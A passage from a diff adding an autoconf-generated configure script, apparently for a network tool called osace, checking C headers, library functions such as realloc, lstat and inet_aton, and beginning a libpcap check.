+ + ac_header_compiler=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +{ echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 +echo "${ECHO_T}$ac_header_compiler" >&6; } + +# Is the header present? +{ echo "$as_me:$LINENO: checking $ac_header presence" >&5 +echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6; } +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <$ac_header> +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_c_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_c_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + ac_header_preproc=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_header_preproc=no +fi + +rm -f conftest.err conftest.$ac_ext +{ echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 +echo "${ECHO_T}$ac_header_preproc" >&6; } + +# So? What about this header? +case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in + yes:no: ) + { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 +echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} + ac_header_preproc=yes + ;; + no:yes:* ) + { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 +echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 +echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 +echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 +echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 +echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} + ( cat <<\_ASBOX +## ------------------------------------------------ ## +## Report this to osace-users@lists.sourceforge.net ## +## ------------------------------------------------ ## +_ASBOX + ) | sed "s/^/$as_me: WARNING: /" >&2 + ;; +esac +{ echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + eval "$as_ac_Header=\$ac_header_preproc" +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } + +fi +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + +{ echo "$as_me:$LINENO: checking for GNU libc compatible realloc" >&5 +echo $ECHO_N "checking for GNU libc compatible realloc... $ECHO_C" >&6; } +if test "${ac_cv_func_realloc_0_nonnull+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "$cross_compiling" = yes; then + ac_cv_func_realloc_0_nonnull=no +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#if STDC_HEADERS || HAVE_STDLIB_H +# include +#else +char *realloc (); +#endif + +int +main () +{ +return ! realloc (0, 0); + ; + return 0; +} +_ACEOF +rm -f conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { ac_try='./conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_realloc_0_nonnull=yes +else + echo "$as_me: program exited with status $ac_status" >&5 +echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +( exit $ac_status ) +ac_cv_func_realloc_0_nonnull=no +fi +rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext +fi + + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_func_realloc_0_nonnull" >&5 +echo "${ECHO_T}$ac_cv_func_realloc_0_nonnull" >&6; } +if test $ac_cv_func_realloc_0_nonnull = yes; then + +cat >>confdefs.h <<\_ACEOF +#define HAVE_REALLOC 1 +_ACEOF + +else + cat >>confdefs.h <<\_ACEOF +#define HAVE_REALLOC 0 +_ACEOF + + case " $LIBOBJS " in + *" realloc.$ac_objext "* ) ;; + *) LIBOBJS="$LIBOBJS realloc.$ac_objext" + ;; +esac + + +cat >>confdefs.h <<\_ACEOF +#define realloc rpl_realloc +_ACEOF + +fi + + + +{ echo "$as_me:$LINENO: checking return type of signal handlers" >&5 +echo $ECHO_N "checking return type of signal handlers... $ECHO_C" >&6; } +if test "${ac_cv_type_signal+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#include + +int +main () +{ +return *(signal (0, 0)) (0) == 1; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_type_signal=int +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_type_signal=void +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_type_signal" >&5 +echo "${ECHO_T}$ac_cv_type_signal" >&6; } + +cat >>confdefs.h <<_ACEOF +#define RETSIGTYPE $ac_cv_type_signal +_ACEOF + + +{ echo "$as_me:$LINENO: checking whether lstat dereferences a symlink specified with a trailing slash" >&5 +echo $ECHO_N "checking whether lstat dereferences a symlink specified with a trailing slash... $ECHO_C" >&6; } +if test "${ac_cv_func_lstat_dereferences_slashed_symlink+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + rm -f conftest.sym conftest.file +echo >conftest.file +if test "$as_ln_s" = "ln -s" && ln -s conftest.file conftest.sym; then + if test "$cross_compiling" = yes; then + ac_cv_func_lstat_dereferences_slashed_symlink=no +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +int +main () +{ +struct stat sbuf; + /* Linux will dereference the symlink and fail. + That is better in the sense that it means we will not + have to compile and use the lstat wrapper. */ + return lstat ("conftest.sym/", &sbuf) == 0; + ; + return 0; +} +_ACEOF +rm -f conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { ac_try='./conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_lstat_dereferences_slashed_symlink=yes +else + echo "$as_me: program exited with status $ac_status" >&5 +echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +( exit $ac_status ) +ac_cv_func_lstat_dereferences_slashed_symlink=no +fi +rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext +fi + + +else + # If the `ln -s' command failed, then we probably don't even + # have an lstat function. + ac_cv_func_lstat_dereferences_slashed_symlink=no +fi +rm -f conftest.sym conftest.file + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_func_lstat_dereferences_slashed_symlink" >&5 +echo "${ECHO_T}$ac_cv_func_lstat_dereferences_slashed_symlink" >&6; } + +test $ac_cv_func_lstat_dereferences_slashed_symlink = yes && + +cat >>confdefs.h <<_ACEOF +#define LSTAT_FOLLOWS_SLASHED_SYMLINK 1 +_ACEOF + + +if test $ac_cv_func_lstat_dereferences_slashed_symlink = no; then + case " $LIBOBJS " in + *" lstat.$ac_objext "* ) ;; + *) LIBOBJS="$LIBOBJS lstat.$ac_objext" + ;; +esac + +fi + +{ echo "$as_me:$LINENO: checking whether stat accepts an empty string" >&5 +echo $ECHO_N "checking whether stat accepts an empty string... $ECHO_C" >&6; } +if test "${ac_cv_func_stat_empty_string_bug+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "$cross_compiling" = yes; then + ac_cv_func_stat_empty_string_bug=yes +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +int +main () +{ +struct stat sbuf; + return stat ("", &sbuf) == 0; + ; + return 0; +} +_ACEOF +rm -f conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { ac_try='./conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_stat_empty_string_bug=no +else + echo "$as_me: program exited with status $ac_status" >&5 +echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +( exit $ac_status ) +ac_cv_func_stat_empty_string_bug=yes +fi +rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext +fi + + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_func_stat_empty_string_bug" >&5 +echo "${ECHO_T}$ac_cv_func_stat_empty_string_bug" >&6; } +if test $ac_cv_func_stat_empty_string_bug = yes; then + case " $LIBOBJS " in + *" stat.$ac_objext "* ) ;; + *) LIBOBJS="$LIBOBJS stat.$ac_objext" + ;; +esac + + +cat >>confdefs.h <<_ACEOF +#define HAVE_STAT_EMPTY_STRING_BUG 1 +_ACEOF + +fi + + +for ac_func in vprintf +do +as_ac_var=`echo "ac_cv_func_$ac_func" | $as_tr_sh` +{ echo "$as_me:$LINENO: checking for $ac_func" >&5 +echo $ECHO_N "checking for $ac_func... $ECHO_C" >&6; } +if { as_var=$as_ac_var; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +/* Define $ac_func to an innocuous variant, in case declares $ac_func. + For example, HP-UX 11i declares gettimeofday. */ +#define $ac_func innocuous_$ac_func + +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char $ac_func (); below. + Prefer to if __STDC__ is defined, since + exists even on freestanding compilers. */ + +#ifdef __STDC__ +# include +#else +# include +#endif + +#undef $ac_func + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char $ac_func (); +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined __stub_$ac_func || defined __stub___$ac_func +choke me +#endif + +int +main () +{ +return $ac_func (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + eval "$as_ac_var=yes" +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + eval "$as_ac_var=no" +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +fi +ac_res=`eval echo '${'$as_ac_var'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } +if test `eval echo '${'$as_ac_var'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_func" | $as_tr_cpp` 1 +_ACEOF + +{ echo "$as_me:$LINENO: checking for _doprnt" >&5 +echo $ECHO_N "checking for _doprnt... $ECHO_C" >&6; } +if test "${ac_cv_func__doprnt+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +/* Define _doprnt to an innocuous variant, in case declares _doprnt. + For example, HP-UX 11i declares gettimeofday. */ +#define _doprnt innocuous__doprnt + +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char _doprnt (); below. + Prefer to if __STDC__ is defined, since + exists even on freestanding compilers. */ + +#ifdef __STDC__ +# include +#else +# include +#endif + +#undef _doprnt + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char _doprnt (); +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined __stub__doprnt || defined __stub____doprnt +choke me +#endif + +int +main () +{ +return _doprnt (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func__doprnt=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_func__doprnt=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_func__doprnt" >&5 +echo "${ECHO_T}$ac_cv_func__doprnt" >&6; } +if test $ac_cv_func__doprnt = yes; then + +cat >>confdefs.h <<\_ACEOF +#define HAVE_DOPRNT 1 +_ACEOF + +fi + +fi +done + + + + + + + + + + + + + + + +for ac_func in alarm gethostbyname gettimeofday inet_ntoa memset select socket strdup strerror strstr strrchr getnameinfo getaddrinfo +do +as_ac_var=`echo "ac_cv_func_$ac_func" | $as_tr_sh` +{ echo "$as_me:$LINENO: checking for $ac_func" >&5 +echo $ECHO_N "checking for $ac_func... $ECHO_C" >&6; } +if { as_var=$as_ac_var; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +/* Define $ac_func to an innocuous variant, in case declares $ac_func. + For example, HP-UX 11i declares gettimeofday. */ +#define $ac_func innocuous_$ac_func + +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char $ac_func (); below. + Prefer to if __STDC__ is defined, since + exists even on freestanding compilers. */ + +#ifdef __STDC__ +# include +#else +# include +#endif + +#undef $ac_func + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char $ac_func (); +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined __stub_$ac_func || defined __stub___$ac_func +choke me +#endif + +int +main () +{ +return $ac_func (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + eval "$as_ac_var=yes" +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + eval "$as_ac_var=no" +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +fi +ac_res=`eval echo '${'$as_ac_var'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } +if test `eval echo '${'$as_ac_var'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_func" | $as_tr_cpp` 1 +_ACEOF + +fi +done + + +{ echo "$as_me:$LINENO: checking for library containing nanosleep" >&5 +echo $ECHO_N "checking for library containing nanosleep... $ECHO_C" >&6; } +if test "${ac_cv_search_nanosleep+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_func_search_save_LIBS=$LIBS +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char nanosleep (); +int +main () +{ +return nanosleep (); + ; + return 0; +} +_ACEOF +for ac_lib in '' rt posix4; do + if test -z "$ac_lib"; then + ac_res="none required" + else + ac_res=-l$ac_lib + LIBS="-l$ac_lib $ac_func_search_save_LIBS" + fi + rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_search_nanosleep=$ac_res +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext + if test "${ac_cv_search_nanosleep+set}" = set; then + break +fi +done +if test "${ac_cv_search_nanosleep+set}" = set; then + : +else + ac_cv_search_nanosleep=no +fi +rm conftest.$ac_ext +LIBS=$ac_func_search_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_search_nanosleep" >&5 +echo "${ECHO_T}$ac_cv_search_nanosleep" >&6; } +ac_res=$ac_cv_search_nanosleep +if test "$ac_res" != no; then + test "$ac_res" = "none required" || LIBS="$ac_res $LIBS" + +fi + +{ echo "$as_me:$LINENO: checking for library containing inet_aton" >&5 +echo $ECHO_N "checking for library containing inet_aton... $ECHO_C" >&6; } +if test "${ac_cv_search_inet_aton+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_func_search_save_LIBS=$LIBS +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char inet_aton (); +int +main () +{ +return inet_aton (); + ; + return 0; +} +_ACEOF +for ac_lib in '' resolv; do + if test -z "$ac_lib"; then + ac_res="none required" + else + ac_res=-l$ac_lib + LIBS="-l$ac_lib $ac_func_search_save_LIBS" + fi + rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_search_inet_aton=$ac_res +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext + if test "${ac_cv_search_inet_aton+set}" = set; then + break +fi +done +if test "${ac_cv_search_inet_aton+set}" = set; then + : +else + ac_cv_search_inet_aton=no +fi +rm conftest.$ac_ext +LIBS=$ac_func_search_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_search_inet_aton" >&5 +echo "${ECHO_T}$ac_cv_search_inet_aton" >&6; } +ac_res=$ac_cv_search_inet_aton +if test "$ac_res" != no; then + test "$ac_res" = "none required" || LIBS="$ac_res $LIBS" + +fi + + + +NEED_AUX_LIBS="" + + +{ echo "$as_me:$LINENO: checking for libpcap (http://www.tcpdump.org)" >&5 +echo $ECHO_N "checking for libpcap (http://www.tcpdump.org)... $ECHO_C" >&6; } +{ echo "$as_me:$LINENO: checking for pcap_open_live in -lpcap" >&5 +echo $ECHO_N "checking for pcap_open_live in -lpcap... $ECHO_C" >&6; } +if test "${ac_cv_lib_pcap_pcap_open_live+set}" = set; then + echo $ECHO_N 